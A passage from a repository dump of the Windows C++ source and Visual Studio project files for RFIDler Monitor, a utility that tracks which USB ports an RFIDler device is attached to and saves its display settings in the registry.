(BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n                    optWindowPlace.right = temp;\n                    if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyWinSizeCY, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n                        optWindowPlace.bottom = temp;\n                        // check that saved window position / size from same window layout?\n                        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyWinLayoutVer, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype) && (temp == optWindowLayoutVer)) {\n                            optHaveWindowPlace = TRUE;\n                            optNeedSaveWindowPlace = FALSE;\n                        }\n                    }\n                }\n            }\n        }\n\n        // device Arrival / removal time\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyArrivalTime, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n            if (temp <= KArrivalOrRemovalTimeMaximum) {\n                optArrivalOrRemovalTime = temp;\n                optNeedSaveArrivalTime = FALSE;\n            }\n        }\n\n        // device list sort order\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeySortOrder, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype) && (temp <= lvDispMaxSort)) {\n            optViewSortOrder = temp;\n            optNeedSaveViewSortOrder = FALSE;\n        }\n\n        // device list style\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyViewStyle, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n            switch (temp) {\n            case ID_VIEW_LARGE_ICONS:\n            case ID_VIEW_SMALL_ICONS:\n            case ID_VIEW_DETAILS:\n            case ID_VIEW_TILES: // valid value\n                optViewStyleButton = temp;\n                optNeedSaveViewStyleButton = FALSE;\n                break;\n            }\n        }\n\n        if (ERROR_SUCCESS == RegOpenKeyEx(programKey, KRegKeyMRUHexFile, 0, KEY_READ, &hk)) {\n            wchar_t fnamebuff[1024];\n            wchar_t numbuff[4];\n\n            for (int j = 0; j < optHexFileHistoryCount; j++) {\n                DWORD strsize = sizeof(fnamebuff);\n\n                StringCchPrintf(numbuff, ARRAYSIZE(numbuff), _T(\"%i\"), j);\n                if ((ERROR_SUCCESS == RegQueryValueEx(hk, numbuff, 0, &valtype, (BYTE*)&fnamebuff, &strsize)) && (REG_SZ == valtype)) {\n                    optHexFileHistory[j] = wcs_dupsubstr(fnamebuff, strsize);\n                    optHexFileHistoryCount = j;\n                    continue;\n                }\n                break;\n            }\n            RegCloseKey(hk);\n        }\n        RegCloseKey(programKey);\n\n        // plan save to registry any state that was missing or invalid on reading\n        if (optNeedSaveFlags) {\n            KickRegSaveTimer();\n        }\n    }\n}\n\n\n// aShowSettingsChanged - out parameter\nvoid MonOptions::SetShowOptionsAndRegistrySave(const MonOptions &newValues, BOOL &aShowSettingsChanged)\n{\n    // check & copy new options, setup auto-save\n    if (optShowFlags != newValues.optShowFlags) {\n        optShowFlags = newValues.optShowFlags;\n        optNeedSaveShowFlags = TRUE;\n        aShowSettingsChanged = TRUE;\n        KickRegSaveTimer();\n    }\n}\n\n\nvoid MonOptions::SetNotifyOptionsAndRegistrySave(const MonOptions &newValues)\n{\n    // check & copy new options, setup auto-save\n\n    // sound / window title flash notification settings\n    if (optNotifyFlags != newValues.optNotifyFlags) {\n        optNotifyFlags = newValues.optNotifyFlags;\n        optNeedSaveNotifyFlags = TRUE;\n        KickRegSaveTimer();\n    }\n}\n\n\nvoid MonOptions::SetArrivalOrRemovalTime(unsigned arrivalOrRemovalTime, BOOL saveChange)\n{\n    if ((arrivalOrRemovalTime < KArrivalOrRemovalTimeMaximum) && (optArrivalOrRemovalTime != arrivalOrRemovalTime)) {\n        optArrivalOrRemovalTime = arrivalOrRemovalTime;\n        if (saveChange) {\n            optNeedSaveArrivalTime = TRUE;\n            KickRegSaveTimer();\n        }\n    }\n}\n\n\nvoid MonOptions::RegistrySaveChangedValues(BOOL destroyWindow)\n{\n    assert(optNeedSaveFlags || destroyWindow);\n\n#ifndef _DEBUG\n    destroyWindow; // unreferenced param warning on release build\n#endif\n\n    // use timer as a one-shot\n    CancelRegSaveTimer();\n\n    if (optNeedSaveFlags) {\n        HKEY hk1, hk2, hk3;\n        DWORD disp = 0;\n\n        if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, KRegFullProgramName, 0, KEY_ALL_ACCESS, &hk1)) {\n            // keys already exist\n            DoSaveChangedValues(hk1);\n            RegCloseKey(hk1);\n        } else if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, KRegistryBase, 0, KEY_ALL_ACCESS, &hk1)) {\n            // first save: need to create vendor and application keys\n            if (ERROR_SUCCESS == RegCreateKeyEx(hk1, KRegVendor, 0, _T(\"\"),\n                    REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hk2, &disp)) {\n                if (ERROR_SUCCESS == RegCreateKeyEx(hk2, KRegProgramName, 0, _T(\"\"), REG_OPTION_NON_VOLATILE,\n                            KEY_ALL_ACCESS, NULL, &hk3, &disp)) {\n                    DoSaveChangedValues(hk3);\n                    RegCloseKey(hk3);\n                }\n                RegCloseKey(hk2);\n            }\n            RegCloseKey(hk1);\n        }\n    } // if optNeedSaveFlags\n}\n\n\nvoid MonOptions::DoSaveChangedValues(HKEY programKey)\n{\n    DWORD temp;\n    DWORD disp = 0;\n\n    if (optNeedSaveShowFlags) {\n        temp = optShowFlags;\n        RegSetValueEx(programKey, KRegKeyShowFlags, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveShowFlags = FALSE;\n    }\n\n    if (optNeedSaveNotifyFlags) {\n        temp = optNotifyFlags;\n        RegSetValueEx(programKey, KRegKeyNotifyFlags, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveNotifyFlags = FALSE;\n    }\n\n    if (optNeedSaveWindowPlace) {\n        temp = optWindowPlace.left;\n        RegSetValueEx(programKey, KRegKeyWinPosX, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        temp = optWindowPlace.top;\n        RegSetValueEx(programKey, KRegKeyWinPosY, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        temp = optWindowPlace.right;\n        RegSetValueEx(programKey, KRegKeyWinSizeCX, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        temp = optWindowPlace.bottom;\n        RegSetValueEx(programKey, KRegKeyWinSizeCY, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        temp = optWindowLayoutVer;\n        RegSetValueEx(programKey, KRegKeyWinLayoutVer, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveWindowPlace = FALSE;\n    }\n\n    // device Arrival / removal time\n    if (optNeedSaveArrivalTime) {\n        temp = optArrivalOrRemovalTime;\n        RegSetValueEx(programKey, KRegKeyArrivalTime, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveArrivalTime = FALSE;\n    }\n\n    if (optNeedSaveViewSortOrder) {\n        temp = optViewSortOrder;\n        RegSetValueEx(programKey, KRegKeySortOrder, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveViewSortOrder = FALSE;\n    }\n\n    if (optNeedSaveViewStyleButton) {\n        temp = optViewStyleButton;\n        RegSetValueEx(programKey, KRegKeyViewStyle, 0, REG_DWORD, (BYTE*)&temp, sizeof(temp));\n        optNeedSaveViewStyleButton = FALSE;\n    }\n\n    if (optNeedSaveHexFileHistory && optHexFileHistoryCount) {\n        HKEY hk;\n\n        optNeedSaveHexFileHistory = FALSE;\n        if (ERROR_SUCCESS == RegCreateKeyEx(programKey, KRegKeyMRUHexFile, 0, _T(\"\"),\n                REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, &disp)) {\n            wchar_t numbuff[4];\n\n            for (int j = 0; j < optHexFileHistoryCount; j++) {\n                StringCchPrintf(numbuff, ARRAYSIZE(numbuff), _T(\"%i\"), j);\n                RegSetValueEx(hk, numbuff, 0, REG_SZ, (BYTE*)&optHexFileHistory[j], \n                    (wcslen(optHexFileHistory[j]) + 1) * sizeof(wchar_t));\n            }\n            RegCloseKey(hk);\n        }\n    }\n}\n\n\nBOOL MonOptions::GetWindowInfo(RECT &rc) const\n{\n    if (optHaveWindowPlace) {\n        rc = optWindowPlace;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nvoid MonOptions::SaveWindowInfo(const RECT &rc)\n{\n    if ((rc.left != optWindowPlace.left) || (rc.top != optWindowPlace.top) ||\n            (rc.right != optWindowPlace.right) || (rc.bottom != optWindowPlace.bottom)) {\n        optWindowPlace = rc;\n        optNeedSaveWindowPlace = TRUE;\n        KickRegSaveTimer();\n    }\n}\n\n\nvoid MonOptions::SaveViewSortOrder(int order)\n{\n    if ((order != optViewSortOrder) && (order <= lvDispMaxSort)) {\n        optViewSortOrder = order;\n        optNeedSaveViewSortOrder = TRUE;\n        KickRegSaveTimer();\n    }\n}\n\n\nvoid MonOptions::SaveViewStyleButton(int newStyle)\n{\n    if (newStyle != optViewStyleButton) {\n        optViewStyleButton = newStyle;\n        optNeedSaveViewStyleButton = TRUE;\n        KickRegSaveTimer();\n    }\n}\n\n\nvoid MonOptions::KickRegSaveTimer()\n{\n    if (!optTimerRegistrySave) {\n        // run timer after ~15s\n        SetTimer (optHwndMain, optTimerRegistrySave = REGISTRY_SAVE_MAGICNUMBER, 15000, NULL);\n    }\n}\n\n\nvoid MonOptions::CancelRegSaveTimer()\n{\n    if (optTimerRegistrySave) {\n        KillTimer(optHwndMain, optTimerRegistrySave);\n        optTimerRegistrySave = 0;\n    }\n}\n\n\n// note these next 6 functions are only used on temporary copy of the options\nBOOL MonOptions::SetShowFlagsToAll()\n{\n    if (optShowFlags != optKAllShowFlags) {\n        optShowFlags = optKAllShowFlags;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL MonOptions::SetShowFlagsToNone()\n{\n    if (optShowFlags != 0) {\n        optShowFlags = 0;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL MonOptions::SetShowFlagsToDefault()\n{\n    if ((optShowFlags != optDefaultShowFlags) || (optArrivalOrRemovalTime != KArrivalOrRemovalTimeDefault)) {\n        optShowFlags = optDefaultShowFlags;\n        optArrivalOrRemovalTime = KArrivalOrRemovalTimeDefault;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL MonOptions::SetNotifyFlagsToAll()\n{\n    if (optNotifyFlags != optKAllNotifyFlags) {\n        optNotifyFlags = optKAllNotifyFlags;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL MonOptions::SetNotifyFlagsToNone()\n{\n    if (optNotifyFlags != 0) {\n        optNotifyFlags = 0;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL MonOptions::SetNotifyFlagsToDefault()\n{\n    if (optNotifyFlags != optDefaultNotifyFlags) {\n        optNotifyFlags = optDefaultNotifyFlags;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nvoid MonOptions::SaveHexFileToHistory(const wchar_t *filename)\n{\n    for (int i = 0; i < optHexFileHistoryCount; i++) {\n        if (!wcscmp(optHexFileHistory[i], filename)) {\n            return;\n        }\n    }\n\n    wchar_t *fname = _wcsdup(filename);\n    wchar_t *oldname;\n    if (!fname) {\n        return; // out of memory\n    }\n    for (int i = 0; i < optHexFileHistoryCount; i++) {\n\n        oldname = optHexFileHistory[i];\n        optHexFileHistory[i] = fname;\n        fname = oldname;\n        optNeedSaveHexFileHistory = TRUE;\n    }\n    if (optHexFileHistoryCount < optKMaxHexFileHistoryCount) {\n        optHexFileHistory[optHexFileHistoryCount++] = fname;\n        optNeedSaveHexFileHistory = TRUE;\n    } else if (fname) {\n        free(fname);\n    }\n\n    if (optNeedSaveHexFileHistory) {\n        KickRegSaveTimer();\n    }\n}\n\n\n/* end of file monitoroptions.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/rfidlermonitor.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"rfidlermonitor\", \"rfidlermonitor.vcxproj\", \"{EAAE3CDA-9D90-79FA-84FA-9CD1DD61E81F}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{EAAE3CDA-9D90-79FA-84FA-9CD1DD61E81F}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{EAAE3CDA-9D90-79FA-84FA-9CD1DD61E81F}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{EAAE3CDA-9D90-79FA-84FA-9CD1DD61E81F}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{EAAE3CDA-9D90-79FA-84FA-9CD1DD61E81F}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "windows-src/RFIDler-mon/rfidlermonitor.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <Keyword>Win32Proj</Keyword>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n    <IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSdkDir)include;$(FrameworkSDKDir)\\include;C:\\WinDDK\\7600.16385.1\\inc</IncludePath>\n    <LibraryPath>$(VCInstallDir)lib;$(VCInstallDir)atlmfc\\lib;$(WindowsSdkDir)lib;$(FrameworkSDKDir)\\lib;C:\\WinDDK\\7600.16385.1\\lib\\win7\\i386</LibraryPath>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n    <IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\\include;$(WindowsSdkDir)include;$(FrameworkSDKDir)\\include;C:\\WinDDK\\7600.16385.1\\inc</IncludePath>\n    <LibraryPath>$(VCInstallDir)lib;$(VCInstallDir)atlmfc\\lib;$(WindowsSdkDir)lib;$(FrameworkSDKDir)\\lib;C:\\WinDDK\\7600.16385.1\\lib\\win7\\i386</LibraryPath>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n      <WarningLevel>Level4</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n      <Optimization>Disabled</Optimization>\n      <AdditionalIncludeDirectories>C:\\WinDDK\\7600.16385.1\\inc\\ddk</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <TargetMachine>MachineX86</TargetMachine>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n      <WarningLevel>Level4</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n      <AdditionalIncludeDirectories>C:\\WinDDK\\7600.16385.1\\inc\\ddk</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <TargetMachine>MachineX86</TargetMachine>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"deviceinfo.cpp\" />\n    <ClCompile Include=\"devicetracker.cpp\" />\n    <ClCompile Include=\"monitoroptions.cpp\" />\n    <ClCompile Include=\"rfidmonitor.cpp\" />\n    <ClCompile Include=\"taskbarfeatures.cpp\" />\n    <ClCompile Include=\"wcs_utilities.cpp\" />\n    <ClCompile Include=\"windowsversion.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"resource.h\" />\n    <ClInclude Include=\"rfidmonitor.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"rfidlermonitor.rc\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"devboard.ico\" />\n    <None Include=\"devbrdbad.ico\" />\n    <None Include=\"devbrdremove.ico\" />\n    <None Include=\"otherserial.ico\" />\n    <None Include=\"otherserialremove.ico\" />\n    <None Include=\"rfidbad.ico\" />\n    <None Include=\"rfidboot.ico\" />\n    <None Include=\"rfidler256.ico\" />\n    <None Include=\"rfidokay.ico\" />\n    <None Include=\"rfidremove.ico\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Manifest Include=\"win-compat.manifest\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "windows-src/RFIDler-mon/rfidlermonitor.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"resource.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"rfidmonitor.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"rfidlermonitor.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"rfidokay.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"rfidbad.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"rfidboot.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"rfidremove.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"devboard.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"devbrdremove.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"devbrdbad.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"otherserial.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"otherserialremove.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"rfidler256.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"rfidmonitor.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"deviceinfo.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"devicetracker.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"monitoroptions.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wcs_utilities.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"taskbarfeatures.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"windowsversion.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <Manifest Include=\"win-compat.manifest\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "windows-src/RFIDler-mon/rfidmonitor.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: rfidmonitor.cpp\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"rfidmonitor.h\"\n\n#include <ShlObj.h>\n#include <uxtheme.h> \n\n\n/*\n * This program needs to be linked with these libraries:\n * NB if any are missing from Windows SDK the Windows Driver Kit is required.\n */\n#pragma comment(lib, \"ComCtl32.lib\")\n#pragma comment(lib, \"SetupAPI.lib\")\n#pragma comment(lib, \"uxtheme.lib\")\n#pragma comment(lib, \"version.lib\")\n#if defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) || defined(_DEBUG)\n// todo review\n#pragma comment(lib, \"hid.lib\")\n#endif\n\n/* proclaim support for \"Visual Styles\" / i.e. Windows Vista Themes\n Ensure we only run on Windows XP with Common Controls v6 installed,\n or later Windows version. This gives e.g. Tile View and glowing focus\n effects.\n*/\n#pragma comment(linker,\"\\\"/manifestdependency:type='win32' \\\nname='Microsoft.Windows.Common-Controls' version='6.0.0.0' \\\nprocessorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\n\n\n// various global constant\n\nconst wchar_t *szAppName = _T(\"RFIDler Monitor\");\nconst wchar_t *szRfidlerHwUsbId = _T(\"USB\\\\VID_1D50&PID_6098\");\nconst wchar_t *szMicrochipSerialHwUsbId = _T(\"USB\\\\VID_04D8&PID_000A\");\nconst wchar_t *szMicrochipBootHidId = _T(\"HID\\\\VID_04D8&PID_003C\");\n\n\n// singleton DeviceTracker\nDeviceTracker DevTracker;\n\n\n/* ******************** PROGRAM CONFIGURATION ********************* */\n/* nominal minimum window size is 300 * 250 */\n// FIXME? have min sizes for controls & then calc overall min\nstatic const SIZE KMinimiumWindowSize = { 300, 250 };\n\n/* how long a device is shown in Removed or Arrived state */\nconst DWORD KArrivalOrRemovalTimeDefault = 5;\nconst DWORD KArrivalOrRemovalTimeMaximum = 30;\n\n\n\nclass AppControlPos;\nclass AppWindowPos;\n\n\nclass BootloaderParams\n{\npublic:\n    DeviceInfo *blDev;\n};\n\n\nBOOL CALLBACK MonitorDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK OptionsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nHWND InitTabbedDialog(HWND hWndTab, int itemId, wchar_t *tabTitle, LPCWSTR lpTemplateName,\n        DLGPROC lpDialogFunc, LPARAM dwInitParam, BOOL showDialog);\nHWND InitShowControls(MonOptions *newOptions, HWND hWndTab, BOOL showDialog);\nHWND InitNotificationControls(MonOptions *newOptions, HWND hWndTab, BOOL showDialog);\nBOOL CALLBACK ShowOptionsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK NotificationsDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nINT_PTR CALLBACK AboutDlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam);\n\n#if defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) || defined(_DEBUG)\nINT_PTR CALLBACK BootloaderDlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam);\n#endif\n\nBOOL GetProgramFilename(wchar_t **fname);\nvoid CheckProgramShortcuts(const wchar_t *shortcut, BOOL *aDeskLinkExists, BOOL *aStartlinkExists);\nBOOL CheckLinkname(const wchar_t *shortcut, int csidl);\nwchar_t *CreateLinkname(const wchar_t *shortcut, int csidl);\nvoid CreateOrBreakLink(IShellLink *psl, const wchar_t *shortcut, int csidl, BOOL aMakeShortcut);\nvoid CreateProgramShortcuts(const wchar_t *fname, const wchar_t *shortcut, BOOL aDesktopShortcut, BOOL aStartupShortcut,\n    BOOL aDeskLinkExists, BOOL aStartlinkExists);\nBOOL CALLBACK InstallConfigDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nATOM RegisterMainWindow (HINSTANCE hInstance);\nvoid GetInitialControlPositions(HWND hWnd, AppWindowPos *wnd);\nvoid RecalcControlPositions(HWND hWnd, AppWindowPos *wnd);\nvoid MoveMainWindow(HWND hWnd, HINSTANCE hInst);\nvoid LVColumnClickAndSort(int newOrder, HWND hwndFrom);\nvoid LVInfoTip(LPNMLVGETINFOTIP pGetInfoTip);\nvoid LVRightClickContextMenu(HINSTANCE hInst, HWND hWnd, LPNMITEMACTIVATE lpnmitem);\nvoid LVSelectedItemContextMenu(HINSTANCE hInst, HWND hWnd, HWND hWndLV);\nvoid LVItemDoubleClick(HINSTANCE hInst, HWND hWnd, LPNMITEMACTIVATE lpnmitem);\nvoid LVEmptyViewTest(NMLVEMPTYMARKUP *emptyMarkup);\nvoid ContextMenuClipboardSelect(HWND hWndLV, DeviceInfo *dev, int selection);\nvoid ContextMenuPopup(HINSTANCE hInst, HWND hWnd, HWND hWndLV, DeviceInfo *dev, POINT scrPt);\nDeviceInfo *DevInfoFromListItem(HWND hWndLV, int iItem);\nDeviceInfo *DevInfoFromListPoint(HWND hWndLV, int iItem, 